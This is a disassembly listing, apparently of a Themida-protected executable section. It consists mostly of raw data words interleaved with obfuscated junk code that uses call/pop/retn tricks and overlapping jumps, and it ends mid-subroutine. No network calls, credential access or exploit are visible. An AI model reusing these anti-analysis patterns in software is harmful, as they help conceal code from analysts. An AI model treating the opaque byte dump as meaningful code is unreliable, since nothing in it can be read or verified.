dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 5C6EC351h, 23857E15h, 7E8506Ah, 0EC000000h
dd 91DE411h, 5E5F0608h, 0F04C1F6h, 0B184h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 7119BEA8h, 8E8C9684h, 0FE80867h, 0CC000000h, 96AE1985h
dd 13181606h, 74959BE5h, 0B503892Ch, 6121AC5h, 3595FF5Fh
dd 8B061201h, 122AC5BDh, 0C32B5B06h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 9CC35040h, 1EAC7286h, 172320BBh
dd 1A31BD89h, 343D0612h, 0F000008h, 2D86h, 598D0900h, 0E9061216h
dd 24h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
dd 8DC35040h, 0FD42D73h, 0C08BF0B7h
dd 0D88BC38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0A7C35242h, 51D85C7h, 0CB370612h, 0BD891014h, 61200ADh
dd 49D88060h, 6AC08B61h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 3AFCC351h, 0CCA95BF0h
dd 1449BD81h, 7D00612h, 850F0000h, 45h, 0CE9h, 6ADC2300h
dd 89988A8Dh, 9058CC8Fh, 4985FFF3h, 6A061214h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0B89C352h, 0A8C0F91h, 60000000h, 0D991CB81h, 0F98B38FBh
dd 49B5FF61h, 89061214h, 12146595h, 0CD95FF06h, 6A061219h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 9A99C351h, 1BA5BD8Bh, 8B660612h, 6A90F8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 89A35DC3h, 12025DB5h, 0F8BF0F06h, 6AFB8B66h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0E897C350h, 6676CA2Ah, 6697A3BFh, 669255BEh, 0E946EF81h
dd 0E2DB58Bh, 0F78B0612h, 21A19D89h, 6A0612h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1C4CE5C3h
dd 0EA1FE4ABh, 8D89185Dh, 6120521h, 14E960h, 873E0000h
dd 807C064Ch, 1B53BFF1h, 0B6D34D05h, 6F976D0Dh, 0B58BF446h
dd 6121A29h, 0BD8BFC61h, 612064Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 1CC35141h, 0C702EF3Ch, 319589E9h
dd 2906122Eh, 122C5585h, 0F1B58B06h, 5206122Fh, 5EF6BF0Fh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ADC35545h
dd 0F8D4E984h, 14E8FFFFh, 6C000000h, 0C53EFD42h, 13710ECCh
dd 93A62B0Ch, 67D609h, 8B2BE5A3h, 12102DBDh, 0C5BD8B06h
dd 5E061217h, 8166C18Bh, 0EB235DD7h, 4, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 631A1D67h, 0CEBE6656h, 858D5FB1h, 6122E01h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 64C35747h, 2FFD9D89h
dd 60500612h, 800Fh, 45BF0000h, 61105B89h, 52240489h, 5EF6B70Fh
dd 0AE9006Ah, 6F000000h, 8D4D4734h, 3C677223h, 2B006A88h
dd 1206D5BDh, 77858D06h, 6A061601h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 92A9C350h
dd 645C8F99h, 0C0839FCCh, 299D0905h, 50061223h, 0EE8h
dd 7BD7EA00h, 0E93644E2h, 1DC4A54Ah, 5F683D29h, 0E9240489h
dd 0Bh, 0F2256A44h, 6F05EDB8h, 6A490484h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0A58143CFh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 95FFBFC3h, 6120DB5h, 8C58D31h, 9D8D0612h
dd 615AF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 0F1C35747h, 0B48D448Fh, 0D3FF5E56h, 30C1BD8Bh
dd 85FF0612h, 6120679h, 3850Fh, 0B70F0000h, 993E9FEh, 0E80000h
dd 5D000000h, 181ED81h, 6A0616h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0D83A94C3h, 49BD81B1h
dd 0D0061214h, 0F000007h, 12086h, 0CFF68100h, 8B276D88h
dd 1203ED9Dh, 12DF8106h, 81025EC8h, 100E3h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 5DBD8BA8h, 8B061222h, 12025DBDh, 0FDB0B06h, 0A185h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 97E1DECFh, 0EE816613h, 0BD83678Eh, 6160013h
dd 17840F00h, 0E9000000h, 7, 308A1550h, 0E919D1BEh, 68h
dd 241BD8Bh, 85C70612h, 6160013h, 1, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 71C35646h, 0E1E74670h, 0A195893Eh
dd 0E9061217h, 2Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 91C35343h, 30EDB58Bh, 85C70612h, 6160013h
dd 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+61203EDh]
and si, 0A627h
mov di, 0C634h
and dword ptr [ebx], 0FFFFFEFFh
jmp loc_586CED
; ---------------------------------------------------------------------------
push esp
mov [edx-597C195Eh], bh
cmp edi, [ebx]
db 3Eh
jnp short loc_586D61
xchg dl, [edi+396EAB5Eh]
push ss
loc_586CED: ; CODE XREF: Themida_:00586CD5j
mov bx, ds
push 0
push edi
call sub_586CFB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586CFB proc near ; CODE XREF: Themida_:00586CF3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_586CFB endp
; ---------------------------------------------------------------------------
cmp [ebp-76727620h], cl
xor [edx], dl
push es
test bl, 4
jz loc_586DA4
push 0
push edx
call sub_586D28 ; CODE XREF: Themida_:loc_586D97j
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586D28 proc near ; CODE XREF: Themida_:00586D20p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_586D28 endp
; ---------------------------------------------------------------------------
dd 0BEB36144h, 0E09FA3F2h, 95FF4BD1h, 6120135h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
; ---------------------------------------------------------------------------
inc edx
loc_586D61: ; CODE XREF: Themida_:00586CE3j
push edx
retn
; ---------------------------------------------------------------------------
ror ebx, 87h
jnb short loc_586D97
sub eax, 0B58B4B58h
sub eax, 50061201h
mov si, di
mov [esp], eax
push 0
push eax
call sub_586D83
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586D83 proc near ; CODE XREF: Themida_:00586D7Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_586D83 endp
; ---------------------------------------------------------------------------
db 0D7h
db 73h, 7Fh, 0Ch
; ---------------------------------------------------------------------------
loc_586D97: ; CODE XREF: Themida_:00586D66j
ja short near ptr loc_586D20+2
mov ch, 0E9h
pop ds
adc al, [esi]
mov [ebp+61219C9h], ebx
loc_586DA4: ; CODE XREF: Themida_:00586D17j
jmp loc_5872CA
; ---------------------------------------------------------------------------
push 0
push eax
call sub_586DB4
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586DB4 proc near ; CODE XREF: Themida_:00586DACp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_586DB4 endp
; ---------------------------------------------------------------------------
mov ecx, 97E4E3A2h
pushf
mov al, 0
push 0
push ebx
call sub_586DD7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586DD7 proc near ; CODE XREF: Themida_:00586DCFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_586DD7 endp
; ---------------------------------------------------------------------------
db 92h
dd 312A6908h, 0F5AD306Fh, 0B189BF66h, 6A70E6h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 953168C3h, 6121CC9h, 8F0F71E4h, 15h, 10E9h, 421C5500h
dd 6F8A5A4Dh, 0D701E33h, 2627DB77h, 0D8B60FE1h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 36C35545h, 6BAh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0C1F14A7Dh, 8BBEF7F3h, 121AE5BDh, 0F5C38B06h
dd 105B58Bh, 0E8C10612h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 0E2F76635h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 85C35545h, 0F27C38ADh
dd 0D5B22849h, 0D82BF18Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0FBC35747h, 494FBBDBh, 1A55BD8Bh, 0E9600612h
dd 0Ah, 979ED2C7h, 0A58DC7A6h, 0CE80A4CDh, 0E850618Bh
dd 13h, 5EACB2E9h, 12140152h, 28957727h, 86A82B8Eh, 5FD001F6h
dd 0FF241C89h, 121449B5h, 858B6006h, 6122D71h, 230D8589h
dd 0F610612h, 8Dh, 0CD95FF00h, 6A061219h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 49E7C352h
dd 0F85CD10Bh, 1E75BD33h, 0B00612h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 19C35040h, 6A70E6h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0B0024EC3h, 0DE908DE8h, 7E9387Ch, 41000000h, 7A6574Dh
dd 9D0990F6h, 6122D85h, 8E971E4h, 33000000h, 76680CE2h
dd 3C599DDDh, 0EB830F61h, 8B000002h, 12005DBDh, 0D8B60F06h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 42C35747h
dd 4120E95Ch, 0CD99C0C3h, 6BAD0h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F5AC3FC3h
dd 313A1FF4h, 0BD8B511Fh, 6121EE9h, 0B533C38Bh, 612000Dh
dd 6A04E8C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0BE3EC355h, 71BD8B57h, 23061205h
dd 1211DDB5h, 0E2F76606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 1FC35545h, 2B77E5B7h, 57006AD8h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 6FF1D0F5h, 55BD8B70h, 66061202h, 6C86C781h, 50006A58h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 76AE3916h, 0BD8B32CBh, 6122F35h, 880FD82Bh, 1DAh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 12C35646h, 176B94A6h
dd 5610DEDCh, 58C0F99h, 66000000h, 5D9BD781h, 0C8DB58Bh
dd 7B90612h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0BDAC357h, 121B51B5h
dd 21BD8B06h, 8306122Ah, 6A00C1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 8B494EC3h, 1234E9B5h
dd 0FD93B06h, 14986h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 45BD8B22h, 66061220h
dd 66FDB5BFh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 0A4BAD2C3h, 925FF4B5h, 8913BC3Fh
dd 121769BDh, 4C1F606h, 0AF840Fh, 8D890000h, 61204E5h
dd 13595FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0E97507C3h, 0Fh, 0B77DEF1Dh, 6A0AB4B3h
dd 0CCEE76CBh, 0F09B0E9h, 1588h, 10E900h, 31AC0000h, 0C9DC1879h
dd 0FE213033h, 957B00CFh, 6A5BB954h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A3AC350h
dd 0E823E30h, 6830F8Fh, 29000000h, 1209DD95h, 29C32B06h
dd 1223458Dh, 8343D06h, 860F0000h, 15h, 0B307C3BFh, 48E903h
dd 0AABE0000h, 8B2D7EE9h, 1209B5BDh, 6AC08B06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 6DA7C357h, 7E91DF9h, 62000000h, 302B3626h, 0BE99BA9h
dd 78000000h, 0A8E040D6h, 2856D165h
db 39h, 78h
; ---------------------------------------------------------------------------
loc_5872CA: ; CODE XREF: Themida_:loc_586DA4j
mov eax, ebx
mov ebx, eax
push 0
push ebx
call sub_5872D9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5872D9 proc near ; CODE XREF: Themida_:005872D1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5872D9 endp
; ---------------------------------------------------------------------------
db 0D9h, 2Fh, 0B3h
dd 0E1663E2Ch, 0C776B48Fh, 121CB185h, 0CC3F7106h, 9DBD295Eh
dd 89061203h, 1221E595h, 6AC08B06h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 81AFC356h
dd 976838F7h, 49BD816Eh, 0D0061214h, 0F000007h, 4685h
dd 69B58B00h, 0FF06120Eh, 12144985h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 69986AF9h
dd 14880F5Ah, 0E9000000h, 0Fh, 0C7228A2Fh, 0DF55E4C9h
dd 3C0E311Bh, 0FF7C3B61h, 121449B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0E37C5733h
dd 89E41F5Eh, 1219459Dh, 0CD95FF06h, 6A061219h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 0EA47C357h, 5EBF2D95h, 9012782Eh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0EBC35141h, 0FA77D699h, 0BF0FE36Fh
dd 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 899B2083h, 12101185h, 7E806h, 40C60000h
dd 1D30FF70h, 0C595297Dh, 6606122Bh, 6A5FF18Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 8B8FC352h, 120669B5h, 0BD2B5606h, 61222D5h, 56006A5Fh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0F7A54F47h, 0B0BF66D0h, 998D8928h, 0BE061201h, 156FA6FFh
dd 0FF0BF0Fh, 8C0FFAB7h, 0Ch, 264DB503h, 0BD8B0612h, 6120591h
dd 2E09B58Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0F1BE7DC3h, 8935A996h, 12269985h
dd 818D8906h, 0E9061205h, 0FFFFF6AEh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 6FC35747h, 48DF0CC7h, 88ED4D27h
dd 4F59D29h, 8B660612h, 61BD8BFAh, 0F06121Dh, 883h, 2830F00h
dd 8B000000h, 0EBC18BF7h, 4, 50CE8100h, 0E963F0D0h, 7
dd 0D3EE8780h, 813A14A9h, 9951EAD6h, 1858D55h, 8B06122Eh
dd 122C61B5h, 0E59D3106h, 50061206h, 61F18B60h, 6A240489h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 89802478h, 69B58B87h, 6A061207h, 0CE816600h
dd 858D94A9h, 6160CC9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 89C35242h, 75C08F4Dh, 0C0837BDFh, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0BA3DB36Eh, 0E990F605h, 0Fh, 0FD8B5E77h, 8749BB4Dh
dd 29A74D11h, 50B94307h, 8B665250h, 5A310FFBh, 6A9058h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8BDCE1C3h, 6D9D09F9h, 6A06121Dh, 6A006A00h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 75F5C356h, 95FF68F2h, 6120DB5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 12C35343h, 0B8E2E731h, 9D8DECFDh
dd 615AF02h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 0B4C35040h, 0F2C0167Eh, 0FF9208C5h, 51006AD3h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0CC24341Eh, 0E0C08DFh, 0FFF9F4B1h, 12067985h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0E90D978Bh, 8AFh, 0E8h, 0ED815D00h, 6160CD3h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A6C35242h, 0DB6A3ADEh
dd 4800Fh, 0BF660000h, 0BD8167D3h, 6121449h, 7D0h, 142860Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 1541FAC3h, 50198781h, 0CCC9BE66h, 0D19D8B5Eh
dd 81061218h, 100E3h, 800F6000h, 3, 0B0EEC080h, 0DB0B6119h
dd 0A7850Fh, 10E90000h, 7E000000h, 351AD7C3h, 0D42E3438h
dd 32BF8A0Ah, 832904E4h, 160B13BDh, 840F0006h, 4Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0B6C35040h, 73E92Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0E9736C3h, 218DBD09h, 0B58B0612h, 6121009h
dd 0B1385C7h, 10616h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 8536F8C3h, 5999589h
dd 16E90612h, 89000000h, 1218F1BDh, 1385C706h, 6160Bh
dd 0F000000h, 83h, 0D19D8D00h, 66061218h, 2381F28Bh, 0FFFFFEFFh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F1C35141h
dd 0E9FE0BA0h, 10h, 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh
dd 0FDB8C66h, 887h, 0B5896000h, 6121231h, 4C3F661h, 58840Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0AE749FC3h, 0FF85454Bh, 12013595h, 15B58906h
dd 50061231h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 33E0C355h, 0F95A12B9h
dd 1535BD8Bh, 8BE90612h, 6A000004h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C118C357h
dd 294407D4h, 121C3D95h, 6A00B006h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0D9AC355h
dd 89BE9809h, 0E970E6A5h, 14h, 6599A8A4h, 0EFE27CC8h, 0D18ABC08h
dd 0E0CEE74Dh, 655F3D36h, 820F71E4h, 0Ch, 7E9h, 0F4DB5600h
dd 6C724615h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0A698C353h, 5BC4BBF2h
dd 0A531400Dh, 0BAF08B66h, 6, 29BD8BF9h, 8B061218h, 50006AC3h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 11E825h, 655B0000h, 0BBDA97A2h, 0F65E62Ch, 0A36AD23Bh
dd 29B20417h, 1209DDB5h, 0E8C15F06h, 66F28B04h, 6AE2F7h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 661490C3h, 2B8D9ABEh, 0ADB523D8h, 9306120Ch, 11E8h
dd 814C7800h, 0B0EC698h, 7D286FCh, 0AB84962h, 0B260B6B6h
dd 0F52501Ah, 61585A31h, 0AE8505Eh, 0AF000000h, 0FDB3AE4Ch
dd 2CE1C5E5h, 0CB7CBEE4h, 935F13CFh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 0F6C35646h, 0CCB17624h, 1DE62DAh
dd 12068D9Dh, 49B5FF06h, 6A061214h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 111EC352h
dd 0DDB529A6h, 0FF06122Ah, 1219CD95h, 0F98B6606h, 6A00B0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 10D82C3h, 0B504F03Dh, 0E8D76BD4h, 5, 0DDB38E20h, 81666038h
dd 0F8D998E2h, 6E85F61h, 9F000000h, 3D1D708Eh, 45B53174h
dd 5F061213h, 6A70E6h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 2569BC3h
dd 0E7E71C68h, 9D892408h, 6121941h, 6A71E4h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 613C16C3h
dd 23C830Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0C51A07C3h, 1C2DB589h, 0B60F0612h
dd 0F7BF0FD8h, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 376DADF8h, 2675B50Bh
dd 0C38B0612h, 15FDB58Bh, 0E8C10612h, 56006A04h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 4811682Dh, 8B60EC59h, 120521BDh, 3BCB8106h, 6136E52Ch
dd 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 888CC356h, 0BDBF66E2h, 6AD82B8Dh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 7E8C356h, 8B9F5C98h, 6A58F9h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0E699DBC3h
dd 3FFAA7C8h, 0F7B3294h, 810FF7BFh, 6, 7A5BD8Bh, 0D82B0612h
dd 128880Fh, 14E90000h, 79000000h, 0EBF02A8Eh, 0D8B31B91h
dd 0E8EEDAD0h, 77C700ABh, 0B9B01335h, 7, 83F98B66h, 6A00C1h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0F76C32C3h, 0A7DEDD11h, 66879F20h, 83F8F781h, 860FD93Bh
dd 0D2h, 3870Fh, 0BF0F0000h, 0D98C66F7h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1DC35343h, 4B94C68Eh
dd 0F6779D1Bh, 840F04C1h, 76h, 13595FFh, 6A0612h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 3EAF77C3h, 5B064C87h, 2A3AEE81h, 0C32B6315h, 3DF6BF0Fh
dd 834h, 38860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 0F96DA7C3h, 89344C1Dh
dd 12050185h, 30E906h, 81600000h, 80F202CBh, 29BA6645h
dd 0C08B61FDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 25C35545h, 3018BF49h, 0C38B070Ah, 0FE9D88Bh, 88000000h
dd 0F562BB50h, 6383794Ah, 459362E1h, 880FA01Dh, 2, 85C7FE8Bh
dd 61203EDh, 76B727DBh, 2041B589h, 0C08B0612h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 74C35040h, 0BD8BBA9Bh
dd 61218C5h, 12F58589h, 0BD810612h, 6121449h, 7D0h, 3F850Fh
dd 8D0F0000h, 0Fh, 0AE9h, 0E271CF00h, 417C7D52h, 0FF115987h
dd 12144985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0E1066BFh, 8B150BEDh, 49B5FFF2h
dd 6A061214h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0D3A6C356h, 983BF21h, 5F940A66h
dd 2BE19D31h, 95FF0612h, 61219CDh, 90EBC7BFh, 6A9074h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 13CB1DC3h, 871434CEh, 5E9h, 37996A00h, 8D89CB5Eh, 6121925h
dd 2AC5B58Bh, 0D7810612h, 76636B02h, 4858EE81h, 81660CDFh
dd 6A3609D7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 41A2C350h, 6A9BD33h, 8B660612h
dd 0F1B70FF3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 63C35141h, 625F44D1h, 0BFD3BF71h, 578AD7B3h, 8B0Fh
dd 8D890000h, 6121D7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 97C35141h, 0AD74F4ECh, 6688F071h, 6800Fh
dd 0B50B0000h, 61205A9h, 17C9BD8Bh, 0BFFC0612h, 38143FF5h
dd 0FDDC33BEh, 52006A50h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 661B1AE5h, 4880F781h
dd 9E9h, 5DF72800h, 0FF290F43h, 71E9D5F3h, 6AFFFFF7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0E5BDC356h, 8B181885h, 52006AC1h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 7E9CCE7h, 59000000h
dd 6F2262F6h, 4EB979Bh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_587FCF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587FCF proc near ; CODE XREF: Themida_:00587FC7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_587FCF endp
; ---------------------------------------------------------------------------
db 0F4h
dd 4F4DC90Eh, 8F528ABFh, 0FD9D3115h, 9061222h, 121115B5h
dd 0F7BF6606h, 1858D93h, 8B06122Eh, 1201B1BDh, 0E8605006h
dd 14h, 0D03891B6h, 0A182437Ah, 8C8A392Ah, 68BEE922h, 67EA69C8h
dd 310F5250h, 605E585Ah, 9E8h, 84F6E300h, 96B73A9Dh, 6158B26Dh
dd 24048961h, 830F006Ah, 6, 26C58D29h, 6A0612h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D4C35242h, 30F3AC5h
dd 1203C5B5h, 0BC858D06h, 89061617h, 1213F985h, 5C08306h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 45C35141h
dd 0BBFE7529h, 90F78B40h, 6E950h, 92BD0000h, 0FE972645h
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 6ED57299h, 0F88B006Ah, 6A006Ah, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0F947B0C3h, 0C2565B97h, 0F9C471Dh, 68Bh, 7DB58B00h
dd 0FF061210h, 120DB595h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 8D896046h
dd 6121DD1h, 6860Fh, 95890000h, 61204D5h, 29D8D61h, 6A0615AFh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 4A07C352h, 0BF0FFC93h, 6AD3FFF1h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 60F4C351h, 0D9D29h, 8D890612h, 6122629h, 0B58B6061h
dd 6123145h, 61CFB70Fh, 67985FFh, 6A0612h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 97970C3h
dd 0D688C04Ch, 0EE814190h, 7C0360Fh, 0FA7AD781h, 35E95699h
dd 0E8000008h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 61617C6h
push 0
push edi
call sub_5881EE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5881EE proc near ; CODE XREF: Themida_:005881E6p
